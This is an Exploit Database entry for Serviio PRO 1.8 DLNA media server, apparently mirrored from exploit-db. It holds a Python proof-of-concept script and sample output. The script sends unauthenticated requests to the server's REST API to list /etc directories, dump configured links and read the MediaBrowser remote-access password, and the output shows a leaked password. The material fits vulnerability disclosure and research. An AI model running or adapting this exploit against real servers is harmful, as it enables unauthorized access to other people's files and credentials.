Serviio PRO 1.8 DLNA Media Streaming Server – REST API Information Disclosure

Exploit Database
127 阅读

作者： LiquidWorm

日期： 2017-05-03
类别：
- webapps
平台：
- java
来源：https://www.exploit-db.com/exploits/41958/

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#!/usr/bin/env python

# Serviio PRO 1.8 DLNA Media Streaming Server REST API Information Disclosure

# Vendor: Petr Nejedly | Six Lines Ltd

# Product web page: http://www.serviio.org

# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1

# Summary: Serviio is a free media server. It allows you to stream your media

# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,

# games console or mobile phone) on your connected home network.

# Vendor:

# "Security:

# MediaBrowser (as well as any app that uses the API) uses well proven security techniques,

# so that you can be sure your content is only accessed by you. Make sure you keep your password

# secure."

# Desc: The version of Serviio installed on the remote Windows/Linux host is affected

# by an information disclosure vulnerability due to improper access control enforcement

# of the Configuration REST API. An unauthenticated, remote attacker can exploit this,

# via a specially crafted request, to gain access to potentially sensitive information.

# Tested on: Restlet-Framework/2.2

#Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

#Mac OS X, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

#Linux, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2017-5404

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5404.php

# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094

# 12.12.2016

import sys

import xml.etree.ElementTree as ET

from urllib2 import Request, urlopen

if (len(sys.argv) <= 2):

print '[*] Usage: serviio_id.py <ip address> <port>'

print '[*] Example: serviio_id.py 10.211.55.3 23423'

exit(0)

host = sys.argv[1]

port = sys.argv[2]

headers = {'Accept': 'application/xml'}

request = Request('http://'+host+':'+port+'/rest/import-export/online', headers=headers)

print '\nPrinting ServiioLinks:'

print '----------------------\n'

response_body = urlopen(request).read()

roottree = ET.fromstring(response_body)

for URLs in roottree.iter('serviioLink'):

print URLs.text

headers = {'Accept': 'application/xml'}

#request = Request('http://'+host+':'+port+'/rest/list-folders?directory=C:\\', headers=headers)

request = Request('http://'+host+':'+port+'/rest/list-folders?directory=/etc', headers=headers)

print '\nPrinting directories:'

print '---------------------\n'

response_body = urlopen(request).read()

roottree = ET.fromstring(response_body)

for URLs in roottree.iter('path'):

print URLs.text

headers = {'Accept': 'application/xml'}

request = Request('http://'+host+':'+port+'/rest/remote-access', headers=headers)

print '\nPrinting mediabrowser password:'

print '-------------------------------\n'

response_body = urlopen(request).read()

roottree = ET.fromstring(response_body)

for URLs in roottree.iter('remoteUserPassword'):

print URLs.text

'''

rewt@zslab:~# python serviio_id.py 10.211.55.3 23423

Printing ServiioLinks:

----------------------

serviio://video:feed?url=http%3A%2F%2FRSSEXAMPLEURL%2Fzsl.xml

serviio://video:live?url=http%3A%2F%2FLIVESTREAMEXAMPLE%2Fzsl

serviio://video:web?url=http%3A%2F%2FWEBRESOURCEEXAMPLE%2Fzsl.resource

Printing directories:

---------------------

/etc/apache2

/etc/asl

/etc/cups

/etc/defaults

/etc/emond.d

/etc/mach_init.d

/etc/mach_init_per_login_session.d

/etc/mach_init_per_user.d

/etc/manpaths.d

/etc/newsyslog.d

/etc/openldap

/etc/pam.d

/etc/paths.d

/etc/periodic

/etc/pf.anchors

/etc/postfix

/etc/ppp

/etc/racoon

/etc/security

/etc/snmp

/etc/ssh

/etc/ssl

/etc/sudoers.d

Printing mediabrowser password:

-------------------------------

s3cr3to

rewt@zslab:~#

'''